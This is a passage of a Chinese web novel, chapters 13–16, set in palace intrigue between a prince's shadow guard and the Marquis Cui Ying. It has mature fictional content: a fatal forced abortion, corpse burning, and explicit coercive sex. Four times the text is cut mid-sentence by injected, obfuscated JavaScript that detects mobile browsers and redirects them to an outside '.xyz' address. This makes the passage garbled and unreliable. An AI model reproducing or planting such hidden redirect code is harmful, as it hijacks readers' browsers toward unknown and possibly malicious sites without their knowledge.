甲四又偷偷乐了半晌,回头去找癸五跟乙五说,乙五又寻了丁一、丙六等人小声蛐蛐。没几天护卫队的人都传开了,知道上头有心思,后面对这位山茶大人动手,得再小心谨慎不过了。 三皇子李佑慈从大公主处回府,立时传讯臭水巷,山茶没行踪,刘粟来了府里。 “他人呢,怎么不过来?”李佑慈面含怒气,思及对方是打小陪着的老太监,好歹缓和了下语气,“刘伴伴,别院的事情你该多盯着些。” 刘粟叹了口气,伤感道:“这两日丹葵死了,木兰也死了,再加上前阵子的白茸、寒英……” “木兰?”李佑慈想起那个温婉女子,“她怎么死了?” 刘粟如实说道:“那堕胎药灌下去,药性太强,她扛不住死了。” “哦。”李佑慈失神片刻,“想起来了,前两日听管家提过,我不是吩咐用些好药么?” “这……”刘粟跟了李佑慈二十几年,看着对方从小长到大,自然知道对方是什么性子,惯会做面子功夫,也不好计较用药的事情,便帮山茶辩解两句,“主子爷,木兰死得惨,临到头就想葬在外面,所以山茶将人送到春山寺那边去埋着了,这才没回来。” 李佑慈顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817283|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时皱眉,斥责道:“怎么回事?影卫死后焚尸,他难道不清楚吗?” “而且那女人还怀了我的孩子,若是叫人查出什么来,就是一桩大把柄。”李佑慈越想越急,“现前郑国公府摇摆不定,若教阿芸知道了这事,肯定会生我的气,我还如何拿捏这桩婚事?刘伴伴,你是我身边的老人了,我把最重要的事情交给你看管,你好歹为我着想,替我省省心才是。” 刘粟垂头告罪。 李佑慈不放心地吩咐:“你带两个人,去把木兰的尸体处理了,挖出来焚尸,我要见到骨灰。” 刘粟惊讶地抬眼,随后又认命地遵从,“奴才这就去办。” “另外,你不是说人手不够了么,通知叔父再送一批过来。”李佑慈思量道,“如今在浩京城,形势不比北境单纯,多得是用人的地方。大公主瞧着与我亲近,却不怎么贴心,老二舞文弄墨,心机最是深沉,还有老四,老六,个个都不是省油的灯,都得安插人。” “不能人没了,事情就不办了。”李佑慈手指敲着桌面,“山茶养了几天伤了?通知他回府,我有事情交代他去办。” 其实他更在意的,是大公主李令淑说的话,那姓崔的,到底跟他的影卫有没有勾搭。若是有,这倒是个不错的机会,至于如何利用,就得再仔细筹谋一番才行。 “姓崔的那边不着急,我那阿姐挑着我与崔照意斗,未必没有自个儿的私心。”李佑慈喃喃道,“所以她的话,也只能信个一两分,螳螂捕蝉,黄雀在后,且看谁能笑到最后。” 刘粟有心替李默争取休养时间,便说道:“主子爷,山茶这次去崔侯府伤得极重,那崔侯的护卫队,也不是好惹的。这些时日他连床都下不了,恐怕还得大半个月,执行不了什么任务。” “伤这么重吗?”李佑慈疑惑道,“我瞧他似乎扛得住。” 那日回府复命,李佑慈还见他守了书房一下午,后来进门来,也不见有多大事。 “奴才替他治的伤,岂能不知伤情如何?好几处外伤,都是止不住血的,还得须好药保命。”刘粟语重心长道,“别院的人渐渐少了,镇北侯送人过来也需时日,山茶能力出众,还是能堪大用的。” 这话倒是不假,也只有山茶守在李佑慈身边时,他才是最安心的。 “既然你都这般说了,那就让他好好养伤吧,待他好些了,让他尽快过来复命。”李佑慈心存疑虑,“前几日念他伤重,容他回去休息了,但上次去崔侯府的情况,我需要详细知道细节。” 毕竟是二十年的随从,又是刘伴伴求情,也该给几分面子,否则便不近人情了。 李佑慈自觉这些驭下的分寸,他是拿捏得很到位,给一颗甜枣就得赏一巴掌,于是他正色道:“不过,他违反规矩,私自将木兰外葬,此事不可不罚。待他伤好,罚三十鞭笞,以儆效尤。” 影卫的惩罚,也是很难挨过去的,刘粟暗暗叹气,应是。 外头管家拿了一封请帖进门,“殿下,定安长公主的帖子,十日后清漪园宴会,邀请您去参加。” “清漪园?”李佑慈一听就笑了,“母皇不是赏给阿姐住了么,怎么让长公主拿来办宴会了?” “看来,我那阿姐,也不怎么得母皇的欢心嘛。”李佑慈冷笑,吩咐刘粟,“教海桐和碧环过来,这么大的宴会,自然要唱出戏,助助兴才好。” 14. 第 14 章 定安长公主的请帖,也送到了崔侯爷的府上。崔荧性格乖张,手沾血腥,少有人情走动,但位高权重受宠于禁内,总会得几分面子情收些请帖,至于去不去全凭心情。不过定安长公主的宴请,他大多数还是会应的。 只因这定安长公主不是旁人,同他一样,深受女皇的宠信。 若他是女皇挥舞在朝堂的一把刀,那定安长公主便是女皇整顿后宫的一把尺。多少侍奉女皇的弄臣,都是定安长公主一缕东风送上去的。如今擢选男宠的控鹤监,便是经由定安长公主提议创办,甚至当年相宁公,也是定安长公主瞧出了女皇的心思,牵线搭桥送到了女皇的身边。 这世上,最能揣度女皇喜好私情奉为圭臬的,莫过于这位长公主殿下了。 她原本是刘唐一朝最受宠的公主,是先帝的亲妹妹,出生时先帝还在潜邸,因这一辈少有公主降生,皇室疼宠至极。不仅取名为宝儿,还被册封为千金公主,就这封号称谓,足可见珍视之意。 后来神武政变,刘唐皇族被打杀了一大片,包括女皇的亲儿子,一出生便被册立储君的太子殿下,更是首当其冲。但唯独这位千金公主刘宝儿,不仅没被女皇刁难打压,甚至还屡受恩赏。只因她自请入李周族谱,奉女皇为母,改姓为李宝儿。女皇可是她的亲嫂嫂,先帝是她的亲哥哥,她全然不顾,无比坚决地做出了选择。 在政治敏锐度上,她甚至比郑国公府还要审时度势。也正是因为她的叛逆之举,引发了李周立庙的肇端,让女皇顺理成章地改刘换李祭祀宗庙,尊其父为李周太祖皇帝,皇嗣们也一一改姓为李。刘唐皇族的气焰就此烟灭,旧臣们逐渐俯首,为女皇奉上忠心。 甲十三将帖子送到崔荧跟前,崔荧守着院子里的花草翻土施肥。 “什么名目?”他挽起袖子,扎了衣摆,愈发显出瘦削的身形。 甲十三回复道:“宴会设在清漪园,说是为今岁恩科的进士而请,被称作簪花宴。” 崔荧头也不回,用小铲子刨土,不屑地道:“上月恩科放榜,曲江会和杏园宴,长公主大出风头,她还嫌不够?” “拉拢人才,也不是这般明目张胆,让士子纷纷去投她的门路,谁都知那是什么路。也不怪周显清等人闹不停,屡次谏言裁撤控鹤监,以后这朝堂干脆让弄臣当道得了。” 他清泠泠的声音听不出什么语气,也未表露去或不去的意思。 甲十三犹豫地解释:“长公主给六品以上官员都发了请帖,尤其是几位主子那儿,瞧这架势,京中的贵人无有不请的。不光如此,金吾卫安将军,内舍人陆司记、沈昭训,并司礼监几位,都得到了长公主的邀请。” “听送贴的随从说,长公主设宴清漪园,似乎得了圣上授意。此次恩科圣上钦点三位女进士,其中一人得一甲三名,这是古往今来第一次,免不了要大张旗鼓。” 崔荧嗤了声,“她做掮客真是做惯了,如今愈演愈烈。” “那侯爷咱们,去或不去?”甲十三问道。 “我这刚受了庭杖,不在家养伤,怎好去得?”崔荧随意说道,“不过女进士这热闹,瞧起来应当也有意思。这簪花宴,除了长公主这般左右逢源之人,谁能做成?” “帖子先放书房吧。”崔荧意味不明地吩咐,手上还悉心铲土除草,瞧着并不放在心上。 乙五匆匆过来,与告退的甲十三打了个照面。 “侯爷,属下在诏狱那边仔细查过,动手的应当是三殿下的影卫,一个代号碧环的,非常擅长伪装和制毒。” 崔荧看了他一眼,“听起来耳生,诏狱也能来去自如,应当是有帮手吧?” “是,属下顺着安将军查的,当日安将军带了人进诏狱。” 崔荧点了下头,“知道了。” 金吾卫大将军安如山,如今是大公主的人,女皇或许不知道,也或许知道并不在意。但那夜火烧公主府,已经将这层关系摆在了明面上,安如山第一时间冲到公主府不算稀奇,但从闺房里把大公主抱出来,这就多了几分耐人寻味了。有心之人,自然会察觉不同寻常之处。 自从崔荧被女皇明面上调离锦衣卫,这锦衣卫指挥使一直空着,便挂在皇城司下边。而安如山兼领皇城司右都统,等同于对锦衣卫也有辖制之权,十天半月去走一趟过场,似乎也说得过去。 只是这锦衣卫说到底,还是听命于崔荧,崔府护卫队的人,有不少在其中担任职务。女皇对此也是心知肚明,不过是纵容罢了。 大公主不惜动用安如山的手段,联合三皇子李佑慈,都非得将赵知诚灭口,可见这背后还有更深的秘密。 崔荧玩味地捏着手中泥土,一点点捏碎了,落在地面上形成一层薄薄的沙灰。 “这年岁,终于都坐不住了,还是要李老三回来搞事情,这样浩京城不就有意思多了?” 他打量片刻,拿起剪刀,小心翼翼地修剪枝叶,片刻,幽幽说了句:“找个时候,将人杀了吧。” “杀谁?”乙五问。 崔荧只专注看着眼前植株,一双多情狐狸眼,教人觉着充满爱怜之意。 “安如山不急,先处置了那影卫,手伸得太长了。” “是。”乙五告退。 崔荧心情不错地哼起小调,这一院的花草,数这一波开得最盛。他想,得腾个地方种山茶花才好。 隔壁绿华院,黑衣影卫走出了房门,他没有戴面巾遮脸,极少的时候,在阳光之下坦露了真实面容。 他生得比常人白很多,光看眉眼只觉得清冷,再看身形,便觉得肃杀。 今日的阳光还算不错,明媚却不刺眼,暖洋洋地洒在人身上,照得那影卫像是镀了一层金光。这是第五日了,李默站在院子里,远远地观察隔壁崔侯爷的动静。 崔侯爷每日都闲适得很,饲弄饲弄花草,或是研究香料,在院子里品茶,拉着护卫队的人下棋,嫌弃甲四丁一等人棋臭,只好自个儿钻研棋谱。前一日,他觉得府里的鸟儿叫得不好听,亲自提着剑去把那只鸟剁了。下半晌,又让甲十三从外头领了两个伶人过来唱曲儿,咿咿呀呀到入夜。结果崔侯爷搭着毯子在摇椅上睡着了。 那俩伶人不知不觉将嗓子唱哑了,连话都说不出来,李默也在隔壁听了许久未曾入眠。 瞧崔侯爷这样子,似乎就甘于宅院,做个富贵闲散人了。至于那五日之约,对方愣是半点没想起来。 “你在这儿看什么?”癸五提着食盒进来,“这是余妈妈给你做的药羹,补身子的,一天三大碗,教我务必盯着你喝了。” 李默垂眸,视线落在那食盒上,眉目未动,但眼神中却带着一丝隐约的抗拒。 余妈妈不擅长做这样的菜式,所谓药羹就是将甲四开的方子,混乱炖在一起,各种味道都有,颜色黑乎乎的,不知道的还以为是毒物。三大碗,还不如教他直接喝三碗苦药汁,他还能吃得下去些。 但这样的话,他向来是不会说的。 他与崔侯爷做了约定,只想着早些离开此处,至于吃什么喝什么,不是他一个囚犯能做主的。 “多谢。”李默淡声道。 癸五顺着李默方才的视线,又看了过去,看到了隔壁苍梧院,他家侯爷不拘一格的模样,袖子挽起露出的手腕,脆弱得简直一折就断。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟崔侯爷拿无数珍药,喂他一个毫无用处的阶下囚,想来家底深厚,浪费些许也不妨事吧。 癸五冷哼,同甲四呛声:“余妈妈说了,先拿这厮练练手,等日后厨艺大涨,再为侯爷做药羹。” “她老人家还有这等志向?”甲四示意李默伸手,“来,我把脉再看看,待会儿替你换药。” 李默从善如流地坐在石凳上,伸出手腕让甲四诊断,片刻后,甲四道:“你的伤该卧床静养,不应随意走动牵扯伤势,否则容易留下病根儿。” “还有,她的话你不要听,也不要放在心上。”甲四叮嘱道,“侯爷容了你时日,说到底是怜惜你,五日十五日的,又有什么不同?” “于我是不同的。”李默道出真实想法,他对甲四熟稔些,毕竟木兰死的那夜,对方带着药赶了过来。 “你还想走?”甲四明知道答案,却还是要问,“三殿下不管你死活,你若留在臭水巷,信不信已然撑不到今日?我们这些人虽不及你的身手,这点我承认,但好歹也不是吃素的,你有几分活头,自你逃走那夜我就心里有数。” 李默不做声,低垂着眼眸,阳光洒在他的脸上,愈发显得皮肤似玉一般。 “我听闻镇北侯训练影卫极为残忍,还会用一种蛊毒控制,你若是因此受控于三殿下,我愿尝试为你解毒。” 李默仍旧沉默,过了许久,他开口:“你可知崔侯从前,喜欢什么样的人?” 甲四愣了下,待说些什么,又听这影卫声音极轻:“我好提前做些准备。” 15. 第 15 章 “你!”甲四恨铁不成钢,这是个听不进话的榆木脑袋,比侯爷还犟。 他缓和语气,隐晦说道:“你的身体不适合,需要再养一段时日。侯爷既然没提那晚在禁室的话,你安心待着便是,作甚要上赶着?” 李默轻哦了声,“我知道了。” “你知道什么了?”甲四总觉得这人理解的,和他真正想表达的,绝非同一个意思。 只见李默微微抬眸,阳光映照着他如玉的脸颊微微泛红,“崔侯爷手段残忍,我领教过的。” “所以呢?”甲四没明白他的意思。 李默张了张嘴,欲言又止:“算我再欠你一次,你给我些药。” “什么药?”甲四更糊涂了,李默道:“保命的药。” “这不天天给你保着命的吗?”甲四疑惑地问,“咱府里的药也不便宜,跟外头一个价,也不会自个儿下崽,更不是要多少有多少的,知道吧?再说是药三分毒,你多吃也无用,不会让你的伤势好得更快。” “嗯。”李默不怎么强求,“那就算了。” 甲四纳闷极了,“行吧,给你也行,你说个缘由,我好跟侯爷交代。” 李默闷声不肯说,站在一旁的癸五,哎呀一声插了句:“他想今晚爬侯爷床,但又担心死在侯爷床上,所以……” “你闭嘴吧你!”甲四回头瞪了一眼癸五,“你一天天少掺和侯爷的私事。” 癸五立时不高兴地呛道:“我说怎么了,你一天天管东管西,是嫉妒还是吃醋了?” 甲四气焰顿时萎靡,语噎片刻,“都是。” 癸五嗤了声,“神经,开服药治治自个儿脑子吧。” 甲四脸上一阵红一阵白,沉默不搭话。 过了好一会儿,他看着李默的脸,犹豫后说道:“有一件事没教你知道,三殿下派人去月麓山,将你埋在春山寺旁边的那座坟给挖了。” “谁挖的?”李默平静地问。 “没看到脸,不知道是谁,但可以肯定是你们臭水巷的人,尸体挖出来就地焚烧了,连骨灰都装了回去。” “明白了。”李默的脸上看不出任何情绪,“主人的命令,不可违背。” 甲四语气有些急,“我现在告知你这件事,是想让你明白,三殿下冷血无情,并非明主。” 李默点了下头,淡淡说道:“若没旁的事,我先进去了,不习惯站在太阳底下。” 甲四一时无言,怔怔地看着李默转身离去的背影。那挺拔锋利的身形跨过明暗交接的分界线,他像是一道无所不在的影子,钻进了熟悉的弱光环境里。 “你劝他作甚?”癸五问甲四。 甲四不回答,癸五又道:“不是查过了么,他九岁跟了三殿下,早就习惯了吧。” “再说论冷血无情,何人及得上镇北侯一手训练的影卫?你这是对牛弹琴,他肯定不会听的。”癸五信誓旦旦道,“要不然打个赌,过了五日之约,他肯定会逃,咱们得守严实了。” 甲四嗤道:“谁跟你打赌?论冷血无情,何人及得上你铁石心肠?” “说旁人呢,扯我身上作甚?又嫉妒啦?”癸五不明所以,“还是吃醋了?” 甲四提着药箱往屋里走,呵住癸五:“你住脚,他再软嫩,也是侯爷的人,我去给他换药,你在外面守着。” “知道,侯爷喜欢他,对他新鲜着呢。”癸五听话地守在了外面。 甲四亲自帮李默清洗伤口,换了药,李默全程一声未吭,哪怕再疼,额上冒出一层汗,这个人都硬生生忍着。 这副忍到极致的模样,配上姣好的面容,难怪侯爷会喜欢。 “你烧热还未退完,只是暂时看起来好些了,实则仍然凶险。”甲四语重心长说道,“你身手好,但身体底子不好,我给你备的药,是有疗程的,至少养三个月才能有起色。” “多谢。”李默深呼吸,说出两个字。 “谢我不必,要谢就谢侯爷,我也是听吩咐行事。侯爷默许你住在绿华院,默许你不被束缚行动自如,自然也默许你将约定延期专心养伤,你实在不必为此较真。我派人探听过,臭水巷那边安然无事,三殿下并未寻你麻烦。” 李默微微摇头,“私自将影卫外葬,应挞三十,水牢服刑三日。” “我是执刑者,得回去自行领罚。”他语气淡然,“这五日多谢你。” “你……”甲四早就领教过这影卫的固执和不讲道理,不曾想一出更比一出强,他忍不住问道,“你既然知道规矩,那晚为何还要违背?” 影卫沉默地垂下眼眸,没有再说话。 入夜,值夜的侍卫们守着院墙,巡逻各处,眼睁睁看着那道熟悉的黑影飞檐走壁。等人走远了,他们才小声交接一句:“是山茶大人,四哥说了,不往外逃就不用管。” 李默没有问到崔侯爷的喜好,但根据以往的经验,他偷偷薅了一串银色链条并几个物件,带着往苍梧院去。崔侯爷的卧房再熟悉不过,他照常从屋顶顺着窗户跃进去,烛火明亮,屋里没有人。 香炉里燃着熏香,换了另一种别致的味道。百合花又换了一株新的,绿植盆栽修剪过,窗旁小榻上搁着一本书。黑衣影卫凑近了一看,书名是市井常见的话本子,外头茶楼里的说书人讲烂了的,大约是赶考书生遇上美貌狐妖的故事。 “侯爷在临香榭那边的温泉池子里泡澡。”有人敲了窗,低声提醒道。 是那个胆大妄为的女护卫,癸五。 李默道了声多谢,飞快赶往临香榭。当初崔侯爷看中这块地方修府邸,便是因着此处有一眼活水温泉,虽然离皇城大内远了些,但终归是不可多得的好物,自然及时行乐最重要。 烛火隔着窗户纸映出来,看不清里面的动静,只觉得整座屋子亮堂堂。影卫靠近了,听到里面传出细微的水声。 崔侯爷果真在里面。 他一时生出些许之前从未有过的忐忑,推门的手忽然顿住,思量片刻,又想往窗子进入。那窗户纸被他轻轻戳破一个洞,就在这时,屋内传来崔荧的声音:“谁?” 李默竟不知崔侯爷不善武力之人,如何能灵敏地听出他此刻的移动与靠近? “侯爷,是卑职。” 影卫立即排除杂念,故作从容地推开门,只见一扇屏风挡着视线,屋子里热气腾腾,他返身关好门,谨慎站在屏风之前。 “是你啊。”崔荧发出一声轻笑,“好孩子,过来让我瞧瞧。” 李默转过屏风,便看到偌大的温泉池子里,崔侯爷赤身靠坐在一侧,边上放了些鲜果,他随意捏了一颗剥了皮的葡萄吃进嘴里。 这般肆意不拘,仿佛孤身一人面对的,并非是死对头的鹰犬,或武力高强的杀手,而是随意作弄的小情儿。 “侯爷,深夜搅扰了。”影卫站在一旁,规矩行礼。 崔荧挑着眼尾看他,这一身板正得像是述职,教人直想扒掉,男人手指微动,意味不明道:“深夜不搅扰,还做柳下惠不成?” 温泉热汤泡得崔荧浑身舒展肌肤泛红,俊美的脸庞也染上了一层薄薄的红晕,显出几分艳丽之色。 影卫垂着视线,不敢直视崔荧的脸。 这人如传闻的画中仙一般,浑身透着一股闲散烂漫,偏那双多情狐狸眼,像是挑动丝线的针尖,一寸一寸从外到里,拨开他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817285|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆弱的皮囊。 “既过来了,是想着伺候了?”崔荧调笑道。 水声划动,由远及近,影卫眼观鼻鼻观心,不知怎么心里莫名一丝慌乱。他站住了脚,有些刻意忍耐往后撤退的冲动,只见一抔水拂到他的衣摆。他不禁视线微抬,看到了崔侯爷盈盈笑着,已与他不足两尺。 “是。”他应了声。 “看不出你是个重诺之人,可惜我今日没什么兴致,不太喜欢浑身伤痕的小狗儿。” 那双作恶的手,指尖湿淋淋地触及到影卫的鞋面,影卫答道:“卑职好些了。” “哦?”崔荧指尖顺着那鞋面,握住了影卫的一只脚踝,“山茶大人应当记得自己说过什么话?” 不等李默回答,崔荧看似无力的手腕,竟力大到将影卫扯倒,影卫没有反抗,顺势跌进了温泉池子里。哗啦一声,难以忽略的声音落在了地面,崔荧的眼神望过去,岸上遗落了些私密的物件。 他不禁笑出了声,“山茶大人准备充分了,怎么还穿得这么严实?” 李默从水里翻出来,从头到脚都湿遍了,水珠从他脸上滑落,他的眼睛半睁半眯,神色茫然,犹如出水芙蕖,清纯而脆弱,任人采撷又毫无防备。 崔荧伸手拍了拍影卫的脸,摩挲着对方脸颊的软肉,“好孩子,既然想来伺候了,那就自己动手吧。” 男人背靠在池边,一副好以闲暇的模样,只等着猎物自动上钩,投怀送抱。 影卫绷着脸,仿佛视死如归般,脱尽了自己的衣物,然后缓缓往前移动,溅起的水纹无声。他僵硬地撑在崔荧的面前,崔荧眼里含笑地望着他,带着诸多审视和打量。他不太受得住这样的眼神,稍一停顿,崔荧便在他的耳边唤:“好孩子,别压着我。” 影卫换了一个姿势,一点一点靠近崔荧,脸凑上去,轻轻在男人的唇上落了一个吻。 男人神色微怔,笑意愈浓,影卫再次小心去触碰那双唇,崔侯爷却偏过头,错过了这个吻。他的语气有些古怪,“山茶大人从来没伺候过人么,以色侍人如何能像一块木头?” “侯爷想如何?”李默脸颊飞红,“卑职不知,求侯爷疼惜。” 几个字本无甚妩媚之意,却一下子撩拨在崔荧的心房,崔荧忽然伸手,扼住了影卫的颈部,影卫顺从地仰起头,露出了自己的脆弱之处。 “好孩子,今儿是你自己送上门来的。”崔荧视线暗指岸上,“自个儿带来的,怎么不用上?” 上一次那些东西,是崔侯爷动的手,伴随着那味药的作用,他自然无力反抗。而眼下,他神志清醒,却要用这些外物,亲手玩弄自己,来讨好眼前同为男人的崔侯爷。 他心底有些发沉,原来做男宠承欢献媚,也不是件简单的事情。 但他不是个矫情的人,既走了这一步就要走到底。影卫听话地去弄了,只是才一根银色链条,他便不知捆在何处,左缠右绕的不知其中妙处。半晌,他无奈地望向崔荧:“侯爷,帮帮我?” 崔荧在一旁瞧着李默的动作,一直未曾开口,只是呼吸在缓慢加重。 而那一声呼唤,那一双可怜求助的眼眸,却像是绷断了最后一根弦。男人突然红着眼,冲到影卫的面前,掰着对方的肩膀将人翻过身,再扼住对方的腰,“好孩子,你的腰窝真漂亮。” 影卫的双膝跪在池底,他不明白什么是腰窝,心里只生出了一个疑惑。 传言崔侯爷手脚无力习不得武,这才被圣人允准养了一支特殊的护卫队,可为何今日崔侯力气之足,却不似一个孱弱之人? 影卫咽下喉间闷哼,池中水声愈烈,崔侯爷才说没有兴致,转瞬间便打了脸。 16. 第 16 章 李默不是个爱出声的,这一夜只听到温泉池子的水声几起几伏,时而剧烈时而和缓,以及掩藏在水声之间压抑又难耐的呼吸。 天将亮时,崔荧披着衣袍出来,唤人准备了吃食。甲四闻讯也赶了过来,两人站在临香榭的屋檐下低声交谈。 “纵欲过度,侯爷当心身子。”甲四忧心道。 只见崔侯爷那松散的衣襟之下,是一片片红色的抓痕,那影卫不留指甲,抓痕不破皮,只是一团红色印记,又有些像掐的。 十多日前被当街踢的那一脚,渐渐好了起来,可怖的淤青逐渐淡去,估摸着再有几日就会消散。 “送上门的猎物,岂有不收之理?”崔荧的心情很好,“他顺从起来,另有一番滋味。” 甲四只当没听见,也不知道侯爷究竟几时会腻味了,这半月有余兴致颇高,但总是没轻没重的,连带着他也提心吊胆。说只是当个玩物作弄,偏生多了几分怜惜,可若是真动了感情,也不至于总想置对方于绝境。 “你去看看他,我瞧他有些烧热。”崔荧吩咐甲四。 甲四此行目的便是如此,他点头应是,待往屋子里去,崔荧又叫住他:“呃,你昨晚给他药了吗?” “没有。”甲四摇了摇头,“他的确找过我。” “那是他自己偷拿的?”崔荧抚着太阳穴,幽幽叹息,“这孩子,有时真不听话,有时又过分听话。” 甲四听得疑惑,“什么药?” “你说呢?”崔荧反问甲四。 甲四一脸茫然,“他没有去过药房,不过昨儿白日里确实跟我提过,想要些保命的药。” “只是保命的药?”崔荧惊诧道,随后又一声冷嗤,“他拿我当什么了?” 甲四逐渐回过味来,“侯爷担心他给您下那种药?” “不然呢?”崔荧发出一声轻叹,总觉得熬了一宿,兴奋之余脑子不大清醒了,“不然怎么会那么让人上瘾呐?” 这句话声音低得微不可闻,犹如自言自语,他摆摆手,示意甲四进去看看那人。 甲四直闭紧了耳朵,进了这临香榭的屋,入门最中央是那口常年活水的温泉,冒着热气儿烟雾缭绕。左右还有两间,一间修作了沐浴之用,另一间则是休憩之所。他径直去了右边,掀开珠帘,那一张小榻上,软绵绵地趴着那个男人。 头发湿漉漉地扎着,发丝凌乱地遮掩脸颊,身上被侯爷搭了一件黑色外衫,堪堪遮住了腰臀。这人身上的痕迹愈发重了,一处挨着一处,全身上下没一处好地方,比上次更甚,全是青紫印记。 脖颈被啃得没眼看,尤其后颈,咬出了好几道血齿痕。 男人脸色绯红,额头发烫,确实又起了烧热,包扎伤口的纱布都散了去,露出血淋淋的可怖血肉。伤口泛白,被水泡得太久了,好在这人浑身上下还算清爽,比上次在侯爷卧房好上许多。 但甲四自小从医,看不得病人反复折腾,简单处置了一下,同李默说:“不能再这样了,你悠着些,求求饶,侯爷又不会真要你的命。” 李默阖着眼皮,不知听见没,没有开口回应。 崔荧也进了门,就倚在帘子外头,隔着摇摇晃晃的珠帘看。甲四干脆撩开帘子,不大客气地劝告他:“侯爷,这五日功夫又白费了,你不心疼人,好歹心疼心疼府里的药钱。” “我不就是个药罐子,多一分少一分的,又有什么关系?”崔荧盯着榻上的男人,恶劣地嘲讽道,“他啊,三皇子的狗,你心疼他?” 嘴上说着这样恶毒的话,心里却生出淡淡的怅惘,若有若无的,扰得他心烦意乱。他眨了眨眼睛,只觉得眼里干涩,唇边不自觉露出苦涩又凶狠的笑意。 “当狗的,伤成什么样儿,给根骨头就又好起来了,不长记性的。”崔荧的声音没有刻意压低,直教人听得清清楚楚,“你以为他这么着急是为了什么,这么卖力又是为了什么,不过是想着付清报酬,一刀两断,早日回去罢了,回去给他的主人使唤。” “他自己都不在乎这些,你一个仇敌对手,这么在乎做什么?”崔荧越说越气,连人都不想看了,转身就往外走,“将人看紧了,发现外逃直接锁禁室,再逃就穿他琵琶骨,打断他的腿。” 甲四长长叹了口气,回头去看榻上的男人,男人双眸半睁,似乎缓和了精神。 “你都听见了,好生养上三个月,别动歪心思。”甲四也不是上赶着劝人的,不过几面之缘,若非觉得此人可惜,他不必说这么多话。他见过的血,亲手杀过的人,并不在少数,绝非心慈手软之辈。 影卫好歹应了声,从鼻腔里发出轻轻的嗯字。 “来,我送你回去。”甲四将人裹了衣物,往背上一扛,影卫被压住伤口,也不过是皱了下眉头,不曾发出声音,更不曾让甲四察觉他的不适。 天微亮,一路上不见其他人,像是被特意吩咐过,影卫观察了周围,忽然开口:“崔侯爷肩上有旧伤疤,被人穿过琵琶骨。” 甲四顿了顿,却还是说了:“是,很早的事情。” “他足胫也有伤痕,骨头有凹凸不平,被打断过。”影卫又说道,“他身上的伤很多。” 甲四反问李默:“山茶大人,你没听过侯爷从前的过往吗?” “一个掖幽庭的罪奴,一个诏狱的死囚,会遭遇什么,会有什么下场,应该不难想象。人们常说侯爷能活下来,是相宁公献媚于圣人,实则不然。”甲四语气沉重地说道,“就像你,活着从镇北侯手里出来一样,侯爷经历过的,与你并无任何区别。” “你是镇北侯献给三殿下的刀,侯爷便是他自己献给圣人的刀,你们从骨子里,说到底是同一种人。” 影卫无力地半阖着眼,只看那脚下的青石板路,平生第一次清醒地被人扛着,过了好一会儿,他问道:“所以侯爷会武?” “你怎么会这么想?”甲四好奇,影卫沉默一瞬,答道:“他制住我的时候,力气很大。” “力气很大?”甲四不解,“你这身手还会觉得受制于人么?” 影卫深呼一口气,几个词在嘴里来回犹豫,最后只说道:“他不像一个文人。” 甲四听到这,感伤地摇了摇头,否认道:“侯爷常年浑身疼,头疼,骨头也疼,尤其那脊椎错位,导致他整个腹部都疼。太阳大了,他眼睛会疼,阴雨天,他骨头缝里像插了刀子。他无时无刻不在忍耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817286|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些,这样一副身躯,你觉得还能习武吗?” “山茶大人,这世上之事讲究一个两厢情愿,侯爷能制住你,不过是你不愿反抗而已。” 一连四五日,谁都知那影卫不会甘于就范,必然会有所动作。但可惜了,山茶大人有心无力,很快陷入了昏厥,昏了两日没醒,到了第四日才好些,自然没去成禁室,也没被穿琵琶骨。 乙三查回来的情报,由甲四回禀给崔荧:“那堕胎的女人是三殿下的影卫,代号木兰,原叫个桃姐,姓不好查了,据传姓吴,又说姓江。本就是个孤女,从宣州去往宿州寻亲的路上,教镇北侯收留了。” “她在北境受训七年,表现中等,入三殿下麾下三年零四个月,二十来岁,常伴三殿下左右,怀过四次孕,应当都与三殿下有关。” “好极了。”崔荧随意掷下手里的闲书,书桌上放置了一炉香,生出的薄烟飘渺在他眼前。 那双狐狸眼明亮得带光,如财狼虎豹搜寻到了猎物,“这么个不忠不义之徒,怎好教郑家小娘子跳入火坑?” 甲四闻弦知意,立即说道:“长公主清漪园设宴,邀请了三殿下与六殿下,还邀请了郑三娘子和郑七娘子。不光如此,二殿下,四殿下也会赴宴。” 